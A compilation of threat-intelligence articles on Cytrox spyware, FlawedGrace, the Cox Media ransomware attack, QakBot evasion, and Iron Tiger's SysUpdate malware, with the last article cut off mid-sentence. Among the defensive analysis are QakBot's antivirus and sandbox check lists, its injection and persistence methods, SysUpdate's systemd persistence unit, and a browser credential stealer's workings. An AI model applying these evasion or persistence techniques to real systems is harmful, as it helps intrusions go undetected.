# Cytrox's Predator Spyware Targeted Android Users with Zero-Day Exploits Google's Threat Analysis Group (TAG) on Thursday pointed fingers at a North Macedonian spyware developer named Cytrox for developing exploits against five zero-day (aka 0-day) flaws, four in Chrome and one in Android, to target Android users. "The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem," TAG researchers Clement Lecigne and Christian Resell said. Cytrox is alleged to have packaged the exploits and sold them to different government-backed actors located in Egypt, Armenia, Greece, Madagascar, Côte d'Ivoire, Serbia, Spain, and Indonesia, who, in turn, weaponized the bugs in at least three different campaigns. The commercial surveillance company is the maker of Predator, an implant analogous to that of NSO Group's Pegasus, and is known to have developed tools that enable its clients to penetrate iOS and Android devices. In December 2021, Meta Platforms (formerly Facebook) disclosed that it had acted to remove roughly 300 accounts on Facebook and Instagram that the company used as part of its compromise campaigns. The list of the five exploited zero-day flaws in Chrome and Android is below: - **CVE-2021-37973** - Use-after-free in Portals API - **CVE-2021-37976** - Information leak in core - **CVE-2021-38000** - Insufficient validation of untrusted input in Intents (root cause analysis) - **CVE-2021-38003** - Inappropriate implementation in V8 - **CVE-2021-1048** - Use-after-free in Android kernel (root cause analysis) According to TAG, all three campaigns in question commenced with a spear-phishing email that contained one-time links mimicking URL shortener services that, once clicked, redirected the targets to a rogue domain that dropped the exploits before taking the victim to an authentic site. "The campaigns were limited — in each case, we assess the number of targets was in the tens of users," Lecigne and Resell noted. "If the link was not active, the user was redirected directly to a legitimate website." The ultimate goal of the operation, the researchers assessed, was to distribute a malware dubbed Alien, which acts as a precursor for loading Predator onto infected Android devices. The "simple" malware, which receives commands from Predator over an inter-process communication (IPC) mechanism, is engineered to record audio, add CA certificates, and hide apps to evade detection. The first of the three campaigns took place in August 2021. It used Google Chrome as a jumping-off point on a Samsung Galaxy S21 device to force the browser to load another URL in the Samsung Internet browser without requiring user interaction by exploiting CVE-2021-38000. Another intrusion, which occurred a month later and was delivered to an up-to-date Samsung Galaxy S10, involved an exploit chain using CVE-2021-37973 and CVE-2021-37976 to escape the Chrome sandbox (not to be confused with Privacy Sandbox), leveraging it to drop a second exploit to escalate privileges and deploy the backdoor. The third campaign — a full Android 0-day exploit — was detected in October 2021 on an up-to-date Samsung phone running the then latest version of Chrome. It strung together two flaws, CVE-2021-38003 and CVE-2021-1048, to escape the sandbox and compromise the system by injecting malicious code into privileged processes. Google TAG pointed out that while CVE-2021-1048 was fixed in the Linux kernel in September 2020, it wasn't backported to Android until last year as the fix was not marked as a security issue. "Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities," the researchers said. "Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers, and technology platforms."
# An Exhaustively-Analyzed IDB for FlawedGrace March 2, 2021 Rolf Rolles This blog entry announces the release of an exhaustive analysis of FlawedGrace. You can find the IDB for the main executable, and for the 64-bit password stealer module, here. The sha1sum for the main executable is `9bb72ae1dc6c49806064992e0850dc8cb02571ed`, and the md5sum is `bc91e2c139369a1ae219a11cbd9a243b`. Like the previous entry in this series on ComRAT v4, I did this analysis as part of my preparation for an upcoming class on C++ reverse engineering. The analysis took about a month and made me enamored with FlawedGrace's architecture. I have personally never analyzed (nor read the source for) a program with such a sophisticated networking component. Were I ever to need a high-performance, robust, and flexible networking infrastructure, I'd probably find myself cribbing from FlawedGrace. This family is also notable for its custom, complex virtual filesystem used for configuration management and C2 communications. I would like to eventually write a treatise about all of the C++ malware family analyses that I am performing during my research for the class, but that endeavor was distracting me from work on my course, and hence will have to wait. (Note that if you are interested in the forthcoming C++ training class, it probably will be available in Q3/Q4 2021. More generally, remote public classes (where individual students can sign up) are temporarily suspended; remote private classes (multiple students on behalf of the same organization) are currently available. If you would like to be notified when public classes become available, or when the C++ course is ready, please sign up on our no-spam, very low-volume, course notification mailing list.) (Note that I am looking for a fifth and final family (beyond ComRAT, FlawedGrace, XAgent, and Kelihos) to round out my analysis of C++ malware families. If you have suggestions -- and samples, or hashes I can download through Hybrid-Analysis -- please send me an email at rolf@mydomain.) ## About the IDB Here are some screenshots. First, a comparison of the unanalyzed executable versus the analyzed one: Next, IDA's function folders should make it easy to find the parts that interest you: Finally, the local types window contains all of the reconstructed data structures: ## About the Analysis Like the previous analysis of ComRAT v4, this analysis was conducted purely statically. Like the previous, I have reverse engineered every function in the binary that is not part of the C++ standard library, and some of those that are. Like the previous, all analysis was conducted in Hex-Rays, so you will not find anything particularly interesting in the plain disassembly listing. Unlike the previous, this binary had RTTI, meaning that I was given the names and inheritance relationships of classes with virtual functions. Each C++ program that I devote significant time to analyzing seems to present me with unique challenges. With ComRAT, those were scale and usage of modern additions to the STL that had been previously unfamiliar to me. With XAgent, it was forcing myself to muddle through the subtleties of how MSVC implements multiple inheritance. For FlawedGrace, those challenges were: - Extensive use of virtual functions and inheritance, beyond anything I've analyzed previously. Tracing the flow of data from point A to point B often involved around a dozen different object types and virtual function calls, sometimes more. You can see an example of this in the database notepad, where I describe the RDP tunneling implementation. - A type reconstruction burden that seemed to never end. FlawedGrace has one of the highest ratios of custom types to program size of anything I've analyzed. In total, I manually reconstructed 178 custom data types across 454 programmer-written functions, which you will find in the Local Types window. - Having to reverse engineer a complex virtual file system statically, with no sample data. You can find the relevant code in the functions window, under the folder path Modalities\Standalone\Virtual File System. I suspect this was written by a different team than the networking component, given the difference in coding styles: i.e., the VFS was written in plain C, with some features that mimic VTables. - Having to confront, as a user, the challenges that reverse engineering tools have with x86/Windows programs (in contrast to x64) with regards to stack pointer analysis and 64-bit integers. - Having to brush up on my network programming skills. For example, I had forgotten what the “Nagle algorithm” was. It’s clear that the server-side component is derived from the same codebase. However, the server portion of the code was not present in the binary, so I could not analyze it. FlawedGrace makes proficient use of C++ features and the STL, and its authors are experts in concurrent programming and networking. However, it is mostly written in an older style than ComRAT was; for example, it does not use `<memory>`. Here is a list of the STL data types used, in descending frequency of usage: - `<atomic>` - `thread` - `list<T>` - `map<K,V>` - `deque<T>` - `set<T>` - `vector<T>` I hope you enjoy the IDB.
# Iranian Hackers Behind Cox Media Group Ransomware Attack The ransomware attack that crippled the IT systems and live streams of Cox radio and TV stations earlier this year was the work of Iranian hackers, The Record has learned. The attack has been attributed to a threat actor tracked under the codename of DEV-0270, a group linked to several intrusions against US companies this year that have ended in the deployment of ransomware. While the intrusion at the Cox Media Group came to light on June 3, when the attackers deployed their ransomware and encrypted some internal servers, the group had actually breached and been lurking inside the company’s internal network for weeks since mid-May. The attack did not impact all Cox Media Group radio and TV stations but managed to cripple the ability of some stations to broadcast live streams on their sites. The Cox Media Group initially tried to play down the attack. Local reporters who shared details about the ransomware incident on Twitter were admonished and told to delete tweets. The company did, however, formally confirm the attack in October, four months later, but without mentioning any details about the Iranian hackers. The revelation that Iranian hackers were behind the Cox attack comes a month after the US Department of Justice charged two Iranian nationals in November on several hacking-related charges. One of them was for the hacking of a US media company, with the intention of disseminating false news via its website regarding the legality of the US 2020 Presidential election. The company was later identified as Lee Enterprises, the operator of news sites like Buffalo News, the Arizona Daily Star, and the Omaha World-Herald. According to a Microsoft threat intelligence report on the group, DEV-0270 has historically engaged in both intelligence collection operations and financially motivated attacks alike, which muddies the real motivation behind the recent Cox ransomware attack. The tactic of deploying ransomware on the networks of large companies is a tactic that was first seen used by Iranian hackers, namely by the SamSam group, in late 2016. Their method of targeting large companies rather than end consumers was eventually adopted by most of the ransomware threat actor landscape and is today known as “big-game hunting.” Since then, most ransomware attacks have been linked to Russian-based groups; however, in recent years, some ransomware incidents have also been linked to members of state-sponsored espionage groups based in Iran, China, and North Korea. These groups deployed ransomware on the networks of some of their victims as a way to monetize hacked companies that have no intelligence-collection value or as a way to hide intelligence collection under a more generic ransomware incident that wouldn’t trigger a more in-depth investigation. Cox Media Group spokespersons did not return requests for comment about the May-June intrusion. **Tags:** APT, Cox, Cox Media Group, cybercrime, DEV-0270, Iran, malware, nation-state, Ransomware Catalin Cimpanu is a cybersecurity reporter for The Record. He previously worked at ZDNet and Bleeping Computer, where he became a well-known name in the industry for his constant scoops on new vulnerabilities, cyberattacks, and law enforcement actions against hackers.
# QakBot Reducing Its On-Disk Artifacts **Security Lab** **December 15, 2020** ## Summary QakBot has been updated with more evasion techniques. QakBot’s configuration is now stored in a registry key instead of a file. The run key for persistence is not permanently present in the registry but only written right before shutdown or reboot, and deleted immediately after QakBot is executed again. QakBot’s executable is also not stored permanently on the file system anymore, but similarly to the run key registry entry, dropped onto the file system before reboots and deleted afterwards. This way security software can only detect QakBot artifacts on disk right before system shutdown and shortly after system boot. However, at that time security software itself is shutting down and booting up, hence may not detect QakBot’s new persistence method. Other changes include dynamic just-in-time decoding and destruction of strings at runtime. Any string used in the malware is only decoded at runtime into memory and destroyed right afterwards. The delivery method for the observed QakBot campaigns identified via the regular expression pattern of `abc[0-9]+` is still XLM macro documents as reported previously. ## Background QakBot (also known as QBot, QuakBot, Pinkslipbot) has been around since 2008. It is distributed via Emotet, i.e., Emotet will download QakBot onto victims that are already infected with Emotet but it is also distributed directly via email. To this end, it uses email conversation thread hijacking in its campaigns, i.e., it will reply to emails that it finds in its victim’s mailboxes. QakBot is known to escalate intrusions by downloading the ProLock ransomware or lately the Egregor ransomware. The observed QakBot campaigns identified by campaign ID `abc` use XLM macro documents for infection. We previously reported on their low detection. ## Technical Analysis In the following analysis, we briefly analyze the infection chain of QakBot after being downloaded and launched by the malicious Excel document. ### Evasion QakBot uses various evasion techniques to avoid detection by anti-virus software. #### PE Header Manipulation We observed some QakBot DLLs with a manipulated PE header. The message text "This program cannot be run in DOS mode." has been altered. This seems like an attempt to circumvent some static detection rules matching for this message in the legacy MS-DOS stub of PE binaries. #### Code Signing First, the initial downloaded and executed DLL is signed with a valid code signing certificate. ``` $ chktrust 904400.jpg Mono CheckTrust - version 6.8.0.123 Verify if an PE executable has a valid Authenticode(tm) signature WARNING! 904400.jpg is not timestamped! SUCCESS: 904400.jpg signature is valid and can be traced back to a trusted root! ``` The signing CA is Sectigo and the organization is given as Aqua Direct s.r.o., which is an existing company. ``` $ osslsigncode verify 904400.jpg Current PE checksum : 00091021 Calculated PE checksum: 00091021 Message digest algorithm : SHA1 Current message digest : 632DCB214EE9FB08441C640D240F672A7ABA6EB1 Calculated message digest : 632DCB214EE9FB08441C640D240F672A7ABA6EB1 Signature verification: ok ``` It is unknown whether the certificate was obtained from Sectigo by giving false information, stolen from Aqua Direct s.r.o., or obtained by giving stolen information from Aqua Direct s.r.o. QakBot is known to steal victim emails and use them in future malspam campaigns. So it is likely that they also use stolen victim data to obtain code signing certificates. However, the actors behind QakBot can also buy the code signing certificate from a malicious third party. #### Strings Only Decoded at Runtime QakBot will decode its strings only at runtime into memory. After usage, the decoded strings are removed from memory again. ### Processes QakBot uses `CreateToolhelp32Snapshot` and `Process32{First,Next}W` to enumerate the running processes. It checks for the following processes: - CcSvcHst.exe - avgcsrvx.exe - avgsvcx.exe - avgcsrva.exe - MsMpEng.exe - mcshield.exe - avp.exe - kavtray.exe - egui.exe - ekrn.exe - bdagent.exe - vsserv.exe - vsservppl.exe - AvastSvc.exe - coreServiceShell.exe - PccNTMon.exe - NTRTScan.exe - SAVAdminService.exe - SavService.exe - fshoster32.exe - WRSA.exe - vkise.exe - iserv.exe - cmdagent.exe - ByteFence.exe - MBAMService.exe - mbamgui.exe - fmon.exe QakBot will set specific bits in a bit mask for each running process it finds. Depending on the resulting bit mask, the further infection path is altered, e.g., if `avp.exe` has been encountered, QakBot will later inject its code into `mobsync.exe` instead of `explorer.exe`. Because the searched process names are related to security solutions, we believe that this way QakBot tailors its execution path to evade detection by specific vendors. Then in another loop, again using `CreateToolhelp32Snapshot` and `Process32{First,Next}W`, it checks for: - srvpost.exe - frida-winjector-helper-32.exe - frida-winjector-helper-64.exe If it detects any of those processes, the execution flow will run into a loop continuously calling `WaitForSingleObject(handle, 0x1fa)` on a handle previously generated via `CreateEvent(NULL, FALSE, FALSE, ...)`, i.e., it runs in an infinite loop. ### Device Drivers Next, QakBot uses `SetupDiGetDeviceRegistryPropertyA` (querying properties `SPDRP_DEVICEDESC` and `SPDRP_SERVICE`) to check for device drivers containing the following strings: - VBoxVideo - Red Hat VirtIO - QEMU - A3E64E55_pr We believe the search for `A3E64E55_pr` is used to detect an artifact of the ANY.RUN sandbox. Alternatively, but unlikely, it could be used to detect an artifact of the long ago defunct xCore Complex Protection AV solution using a similar driver with the name `A3E64E55_pr.sys`. If it detects any of those device drivers, the execution flow will run into the same infinite loop continuously calling `WaitForSingleObject(handle, 0x1fa)` on a handle previously generated via `CreateEvent(NULL, FALSE, FALSE, ...)`, as previously mentioned. ### Process Injection QakBot starts `C:\Windows\SysWOW64\explorer.exe` in suspended state and injects a DLL into it using `CreateProcessInternalW`, `NtMapViewOfSection`, `NtAllocateVirtualMemory`, `WriteProcessMemory`, `memcpy`, `NtProtectVirtualMemory`, and `NtResumeThread`. The injected DLL can be extracted via PE-sieve or other tools for simplified further analysis. Depending on whether the previous process enumeration yielded results on the list, QakBot will inject into `mobsync.exe` (e.g., in case an `avp.exe` process is found running) instead of `explorer.exe`. But for simplicity, we will only follow the `explorer.exe` process injection path we observed in our analysis environment. ### C2 Communication After avoiding detection, the injected QakBot code within `explorer.exe` will start communicating with the C2 servers. Like in previous versions of QakBot, the C2 IP list is stored RC4 encrypted in resource section `311`. The first 20 bytes of the section contain the RC4 key with which the rest of the section is decrypted. The first 20 bytes of the decrypted data will contain the SHA1 sum calculated over the rest of the decrypted data. It is used as a verification for correct decryption. Unlike in previous versions, the C2 list is now stored in binary form and not as ASCII text anymore. For details on how to extract the C2 list and QakBot’s configuration, see the Python3 script in the appendix. The input to the script is the path to the DLL that QakBot injected into `explorer.exe`, which we previously extracted via PE-sieve. The configuration is stored using the same RC4 encryption scheme in resource section `308`. In it, we can see the bot and/or campaign ID `abc103` that is associated with the analyzed sample. It is still stored in plain ASCII text. For each campaign, the number is increased by one. This allows the operators behind QakBot to keep track of which campaign each victim connecting to their C2 server belongs to. Another currently observed identifier is `tr02`. This identifier, however, stayed the same over multiple malspam campaigns. Via the C2 connection, the operators behind QakBot can remote control the malware and deploy additional malicious modules. QakBot will not store its configuration and C2 list on disk anymore. It will use the registry for storage. ### Wiping The previous QakBot version used to overwrite its initial executable with a copy of `cmd.exe`. This version will overwrite the portion of the initially downloaded DLL after the PE header with zeros. The zeroing of data after the header can be clearly seen when comparing the previous plot against a plot of the DLL file after wiping. ### Persistence The persistence mechanism of QakBot has also changed. While it still uses a run key registry entry under `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, this key is only set right before the system is shutdown, rebooted, or put to sleep. The corresponding DLL is also only dropped to disk right before shutdown, rebooted, or sleep. After the system boots up again, QakBot is started via the run key. The execution tree also starts via `regsvr32.exe -s ...` like the initial execution from Excel. QakBot follows the same steps as previously outlined resulting in process injection into `explorer.exe`. QakBot will then delete the run key registry entry and delete the DLL it dropped to disk prior to the reboot. This way QakBot’s persistence cannot be detected at runtime. ### Egregor While we have previously reported on QakBot delivering the ProLock ransomware, latest reports indicated that QakBot is now used to deliver the Egregor ransomware. We previously reported on the Egregor ransomware as part of an article on ransomware leaksites in which we explain the practice of ransomware operators stealing their victims' data before encrypting it to extort them not only with decryption but also public release of the stolen data. ## Conclusion and Countermeasures From our analysis, we can conclude that QakBot is trying to avoid persistent file artifacts. In previous versions, the configuration and QakBot executable were permanently stored on disk. This made it easy for security tools to detect them. The new version tries to avoid permanently leaving its artifacts on disk. While QakBot is not going fully fileless, its new tactics will surely lower its detection. But even though QakBot has changed, the delivery mechanism behind the QakBot `abc[A-Z]+` campaign did not. Hence, an infection by this threat actor can be successfully prevented by blocking the initial emails. Hornetsecurity’s Spam Filter and Malware Protection, with the highest detection rates on the market, already detects and blocks the outlined threat. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats. ## Indicators of Compromise (IOCs) ### Hashes The hashes of the analyzed QakBot samples are: | MD5 | Filename | Description | |---------------------------------------|---------------------|--------------------------------------| | 6bc0584f6cbb74714add1718b0322655 | 904400.jpg | QakBot DLL as downloaded by XLM macro | | e23bc27212f61520cfb130185d74cfb1 | 26e0000.dll | Extracted QakBot DLL | ### MITRE ATT&CK The tactics and techniques used by QakBot as defined by the MITRE ATT&CK framework are as follows: | Tactic | Technique | |-------------------------------|------------------------------------------------------------| | TA0001 – Initial Access | T1566.001 – Phishing: Spearphishing Attachment | | TA0001 – Initial Access | T1566.002 – Phishing: Spearphishing Link | | TA0002 – Execution | T1027 – Obfuscated Files or Information | | TA0002 – Execution | T1204.002 – User Execution: Malicious File | | TA0003 – Persistence | T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | | TA0004 – Privilege Escalation | T1053.005 – Scheduled Task/Job: Scheduled Task | | TA0005 – Defense Evasion | T1027.002 – Obfuscated Files or Information: Software Packing | | TA0005 – Defense Evasion | T1055 – Process Injection | | TA0005 – Defense Evasion | T1055.012 – Process Injection: Process Hollowing | | TA0005 – Defense Evasion | T1070 – Indicator Removal on Host | | TA0005 – Defense Evasion | T1497.001 – Virtualization/Sandbox Evasion: System Checks | | TA0006 – Credential Access | T1003 – OS Credential Dumping | | TA0006 – Credential Access | T1110.001 – Brute Force: Password Guessing | | TA0006 – Credential Access | T1555.003 – Credentials from Password Stores: Credentials from Web Browsers | | TA0011 – Command and Control | T1071.001 – Application Layer Protocol: Web Protocols | | TA0011 – Command and Control | T1090 – Proxy | | TA0011 – Command and Control | T1090.002 – Proxy: External Proxy | ## Appendix ### Qakbot Configuration Extraction Python3 Script ```python import sys import pefile from arc4 import ARC4 pe = pefile.PE(sys.argv[1]) c2list = [] for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries: for e in entry.directory.entries: n = e.name.string.decode() data = pe.get_data(e.directory.entries[0].data.struct.OffsetToData, e.directory.entries[0].data.struct.Size) data = ARC4(data[:20]).decrypt(data[20:])[20:] if n == '311': for i in range(1, len(data), 7): c2 = list(data[i:i+6]) c2list.append("%d.%d.%d.%d:%d" % (c2[0], c2[1], c2[2], c2[3], (c2[4] << 8) + c2[5])) elif n == '308': config = data.decode().split() print("# QakBot Config\n\n```\n" + "\n".join(config) + "\n```\n") print("# QakBot C2\n\n```\n" + "\n".join(c2list) + "\n```\n") ```
# Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting March 1, 2023 We detail the update that advanced persistent threat (APT) group Iron Tiger made on the custom malware family SysUpdate. In this version, we also found components that enable the malware to compromise Linux systems. Iron Tiger is an advanced persistent threat (APT) group that has been focused primarily on cyberespionage for more than a decade. In 2022, we noticed that they updated SysUpdate, one of their custom malware families, to include new features and add malware infection support for the Linux platform. We found the oldest sample of this updated version in July 2022. At the time, we attributed the sample to Iron Tiger but had not yet identified the final payload. It was only after finding multiple similar payloads in late October 2022 that we looked further and found similarities with the SysUpdate malware family that had also been updated in 2021. As with the previous version, Iron Tiger had made the loading logic complex, probably in an attempt to evade security solutions. This new version has similar features to the 2021 version, except that the C++ run-time type information (RTTI) classes we previously observed in 2021 had been removed, and that the code structure was changed to use the ASIO C++ asynchronous library. Both changes make reverse engineering the samples longer. We strongly advise organizations and users in the targeted industries to reinforce their security measures to defend their systems and stored information from this ongoing campaign. ## Campaign development timeline These are the key dates for understanding the chronology of Iron Tiger’s operations: - Apr. 2, 2022: Registration of the domain name linked to our oldest Windows sample of SysUpdate - May 11, 2022: The command and control (C&C) infrastructure was set up. - June 8, 2022: While this could have been tampered with, observed compilation date of our oldest Windows sample. - July 20, 2022: Oldest Windows sample gets uploaded to Virus Total - Oct. 24, 2022: Oldest Linux sample gets uploaded to Virus Total We observed that the attacker registered the oldest domain name one month before starting the C&C configuration then waited one more month before compiling the malicious sample linked to that domain name. We think the gap between the two updates allows the attackers to plan their operations accordingly. ## Loading process We observed the loading process entailing the following steps: 1. The attacker runs rc.exe, a legitimate “Microsoft Resource Compiler” signed file, which is vulnerable to a DLL side-loading vulnerability, and loads a file named rc.dll. 2. The malicious rc.dll loads a file named rc.bin in memory. 3. The rc.bin file is a Shikata Ga Nai encoded shellcode that decompresses and loads the first stage in memory. Depending on the number of command line parameters, different actions are performed: - Zero or two parameters: “Installs” the malware in the system, and calls Stage 1 again via process hollowing with four parameters - One parameter: Same as previous action but without the “installation” - Four parameters: Creates a memory section with the DES-encrypted malware configuration and a second Shikata Ga Nai shellcode decompressing and loading Stage 2. It then runs Stage 2 via process hollowing. The “installation” step is considered simple wherein the malware moves the files to a hardcoded folder. Depending on the privileges of the process, the malware either creates a registry key or a service that launches the moved executable rc.exe with one parameter. This ensures that the malware will be launched during the next reboot, skipping the installation part. We saw different legitimate executables being used, sideloading different DLL names, and multiple binary files names being loaded by those DLLs. We identified the executables and sideloaded files as follows: | Legitimate Application Name | Certificate Signer | Side-loaded DLL Name | Loaded Binary File Name | |-----------------------------|---------------------|----------------------|-------------------------| | INISafeWebSSO.exe | Initech | inicore_v2.3.30.dll | inicore_v2.3.30.bin | | rc.exe | Microsoft | rcdll.dll | rcdll.bin | | dlpumgr32.exe | DESlock | DLPPREM32.dll | sv.bin | | GDFInstall.exe | UBISOFT | GameuxInstallHelper.DLL | sysconfig.bin | | route-null.exe | Wazuh | libwazuhshared.dll | wazuhext.bin | | route-null.exe | Wazuh | libwazuhshared.dll | agent-config.bin | | wazuh-agent.exe | Wazuh | libwinpthread-1.dll | wazuhext.bin | We want to highlight that this is the first time we observed a threat actor abusing a sideloading vulnerability in a Wazuh signed executable. Wazuh is a free and open source security platform, and we could confirm that one of the victims was using the legitimate Wazuh platform. It is highly likely that Iron Tiger specifically looked for this vulnerability to appear legitimate in the victim’s environment. We have notified the affected victim of this intrusion but received no feedback. ## Malware features Looking at the features, several of the functions found in the latest update are similar to the previous SysUpdate version: - Service manager (lists, starts, stops, and deletes services) - Screenshot grab - Process manager (browses and terminates processes) - Drive information retrieval - File manager (finds, deletes, renames, uploads, downloads a file, and browses a directory) - Command execution Iron Tiger also added a feature that had not been seen before in this malware family: C&C communication through DNS TXT requests. While DNS is not supposed to be a communication protocol, the attacker abuses this protocol to send and receive information. First, the malware retrieves the configured DNS servers by calling the GetNetworkParams API function and parsing the DnsServerList linked list. If this method fails, the malware uses the DNS server operated by Google at IP address 8.8.8.8. For the first request, the malware generates a random number of 32 bits and appends 0x2191 to it. This results in six bytes — four for the random number, two for 0x2191 — and encodes the result further with Base32 algorithm using the alphabet “abcdefghijklmnopqrstuvwxyz012345”. The contacted domain name is after "TXT"; only the first four letters change as the rest of the encoded series is always the same. This is because the random number changes every time, but the end is the same “0x2191” result. This explains why the first DNS request always ends with “reeaaaaaa.<c&c domain>”. If the C&C reply matches the format expected by the malware, it launches multiple threads that handle further commands and sends information about the infected machine. Interestingly, the code related to this DNS C&C communication is only present in samples that use it, meaning that the builder is modular and that there might be samples in the wild with unreported features. We continue monitoring this group and malware family for updates on possible variations of C&C communication protocols being abused. In all versions, the malware retrieves information on the infected machine and sends it to the C&C encrypted with DES. Collected machine information includes the following: - Randomly generated GUID - Hostname - Domain name - Username - User privileges - Processor architecture - Current process ID - Operating system version - Current file path - Local IP address and port used to send the network packet The configuration is encrypted with a hardcoded DES key and is a few bytes long following the structure enumerated below: | Field Content | Length (in bytes) | Comment | Example | |----------------------------------|-------------------|--------------------------------------|---------| | Header | 4 | We only found one value | 0x00000001 | | GUID | 38 | Follows the Microsoft format | {89D0E853-FA08-4f94-A5FE-A90E6869E074} | | Size of the C&C section | 4 | | 0x00000018 | | Size of the next C&C domain name and port | 4 | | 0x00000014 | | C&C type | 1 | 0x01 = regular C&C | 0x01 | | | | 0x05 = DNS tunneling | | | | | 0x00 = regular C&C | | | C&C domain name | Variable | | dev.gitlabs.me | | Port number | 4 | | 0x00000050 | | Size of next section | 4 | Next section contains all the hardcoded names (folder, files, registry values) | 0x00000034 | | Name of the hardcoded directory where files are copied | Variable | The folder is located either in % | gtdcfp | | Name of the executable vulnerable to side loading | Variable | | TextInputHost.exe | | Name of the malicious side-loaded DLL | Variable | | rc.dll | | Name of the binary file containing the encoded Stage 1 | Variable | | rc.bin | | Name of the service or registry key value used for persistence | Variable | | gtdcfp | We noted that Stage 2 does not embed the configuration file, which is copied in memory by the previous stage. We only saw one case where there was only one stage being decrypted in memory and the configuration was hardcoded. Interestingly, all the samples of this “new” version had a domain name as its C&C. In the previous version of SysUpdate, the group used hardcoded IP addresses as C&C. It is possible that this change is a consequence of the new DNS TXT records’ communication feature as it requires a domain name. ## SysUpdate samples for Linux While investigating SysUpdate’s infrastructure, we found some ELF files linked to some C&C servers. We analyzed them and concluded that the files were a SysUpdate version made for the Linux platform. The ELF samples were also written in C++, made use of the Asio library, shared common network encryption keys, and had many similar features. For example, the file handling functions are almost the same. It is possible that the developer made use of the Asio library because of its portability across multiple platforms. Some parameters can be passed to the binary (note that “Boolean” refers to Boolean data that is sent to the C&C): | Parameter | Effect | |-----------|--------| | -launch | Sets persistence, zeroes boolean, and exits | | -run | Zeroes boolean and continues | | -x | Daemonize the process, zeroes boolean, and continues | | -i | Daemonize the process, zeroes boolean, sets persistence, and continues | | -f <guid> | Sets the GUID to <guid> and continues | The persistence is ensured by copying a script similarly named as the current filename to the /usr/lib/systemd/system/ directory, and creating a symlink to this file in the /etc/systemd/system/multi-user.target.wants/ directory. Thus, this method only works if the current process has root privileges. The content of the script is: ``` [Unit] Description=xxx [Service] Type=forking ExecStart=<path to current file> -x ExecStop=/usr/bin/id [Install] WantedBy=multi-user.target ``` After running the code dependent on the parameters, if the operator has not chosen a GUID with the “-f” parameter, the malware generates a random GUID and writes it to a file similarly named as the current file, with a “d” appended to it. Then, the malware retrieves information on the compromised computer and sends it to the C&C. The following information is sent to the C&C, encrypted with a hardcoded key and DES CBC algorithm: - GUID - Host name - Username - Local IP address and port used to send the request - Current PID - Kernel version and machine architecture - Current file path - Boolean (0 if it was launched with exactly one parameter, 1 otherwise) For the DNS C&C communication version, the malware retrieves the configured DNS server by reading the content of the /etc/resolv.conf file, or uses the DNS server operated by Google at IP address 8.8.8.8. In 2022, we already noticed that this threat actor was interested in platforms other than Windows, with the rshell malware family running on Linux and Mac OS. For these reasons, we would not be surprised to see SysUpdate samples for the Mac OS platform in the future. Interestingly, most of the Linux samples we found used the new DNS tunneling feature, while only one of the Windows samples used it. ## Certificate compromise Another interesting part of this campaign is the fact that some of the malicious files are signed with a certificate with the following signer: “Permyakov Ivan Yurievich IP”. Looking for that name in search engines brings results from the official VMProtect website. The email address linked to the Authenticode certificate also links to that domain name. VMProtect is a commercial software intended to make analysis of code extremely difficult by implementing a custom virtual machine with non-standard architecture. The software has been used by multiple APT and cybercrime groups in the past to obfuscate their malware. When searching on malware repositories for other files signed by the same certificate, we find multiple files named “VMProtectDemo.exe”, “VMProtect.exe”, or “VMProtect_Con.exe”, which suggests that an official demo version of VMProtect is also signed by this certificate. It appears that the threat actor managed to retrieve the private key allowing him to sign malicious code. As of this writing, the certificate is now revoked. Using stolen certificates to sign malicious code is a common practice for this threat actor, as we already highlighted in 2015 and in all our recent investigations. Interestingly, the threat actor not only signed some of its malicious executables with the stolen certificate, but also used VMProtect to obfuscate one of them. In late January 2023, a Redline stealer sample (detected by Trend Micro as TrojanSpy.Win32.REDLINE.YXDA1Z) signed by the same certificate was uploaded. We do not believe that the stealer is linked to Iron Tiger, considering that the network infrastructure is different, and previous reports document the malware’s goals to be centered on committing cybercrime than data theft. This could mean other users managed to extract the same private key from the VMProtect demo version, or it was sold in the underground to different groups, Iron Tiger among them. ## Infection vector We did not find an infection vector. However, we noticed that one of the executables packed with VMProtect and signed with the stolen certificate was named “youdu_client_211.9.194.exe”. Youdu is the name of a Chinese instant messaging application aimed for use of enterprise customers. Its website mentions multiple customers in many industries, some of them in critical sectors such as government, energy, healthcare, or banking. But they also have other customers in industries such as gaming, IT, media, construction, and retail, apparently all located inside China. The properties of the malicious file also match the usual Youdu version numbering. However, the legitimate files are signed with a “Xinda.im” certificate instead of the stolen VMProtect certificate. As seen in the product name identified in the malicious file’s properties, we searched for possible products named “i Talk” but did not find any that could be related to this investigation. However, we found traces of files from the legitimate Youdu chat application signed by Xinda.im being copied to folders named “i Talk” on one victim’s computer. This suggests that some chat application named “i Talk” might be repackaging components from the official Youdu client along with malicious executables. It appears that a chat application was used as a lure to entice the victim into opening the malicious file. This would be consistent with the tactics, techniques, and procedures (TTPs) of two previous Iron Tiger campaigns from 2020 and 2021: a documented compromise of a chat application widely used by the Mongolian government, and a supply chain attack on Mimi chat, a chat application used in parts of South East Asia. ## Post-exploitation tools We found a custom Chrome password and cookie grabber that appeared unfamiliar, and it was compiled and uploaded in September 2022. The file was also signed with the VMProtect certificate but it was not obfuscated. In general, the features were simple; the malware decrypts the saved passwords to a file named “passwords.txt”, and the cookies to a file named “cookies.txt”. Analyzing its details, the malware first parses the “Local State” file to retrieve the AES key used to encrypt the cookies and passwords. It then copies the “Login Data” file to a temporary file “chromedb_tmp”, issues an SQL query to extract the URL, login, and password fields from the file, and then decrypts them and appends the result to the “passwords.txt” file. It proceeds to copy the “Cookies” file to a temporary file “chromedb_tmp”, extracts multiple fields from it using an SQL query, and then decrypts the content before copying the result to the “cookies.txt” file. Some specific cookies related to Google domain names are ignored, probably because they are mostly related to specific Google features or tracking that are considered useless by the threat actor. We found two other samples from this stealer: One compilation date indicated an executable built in November 2020, and the other one in December 2021, although those dates could be tampered with. We found those samples were uploaded on November 2021 and August 2022, meaning this stealer existed since at least late 2021. ## Targeting We identified one gambling company in the Philippines as compromised by this campaign. Interestingly, the threat actor registered a domain name similar to the company name and used it as a C&C. This was not surprising as we have noticed this threat actor targeting this industry since 2019 during our Operation DRBControl investigation, and later 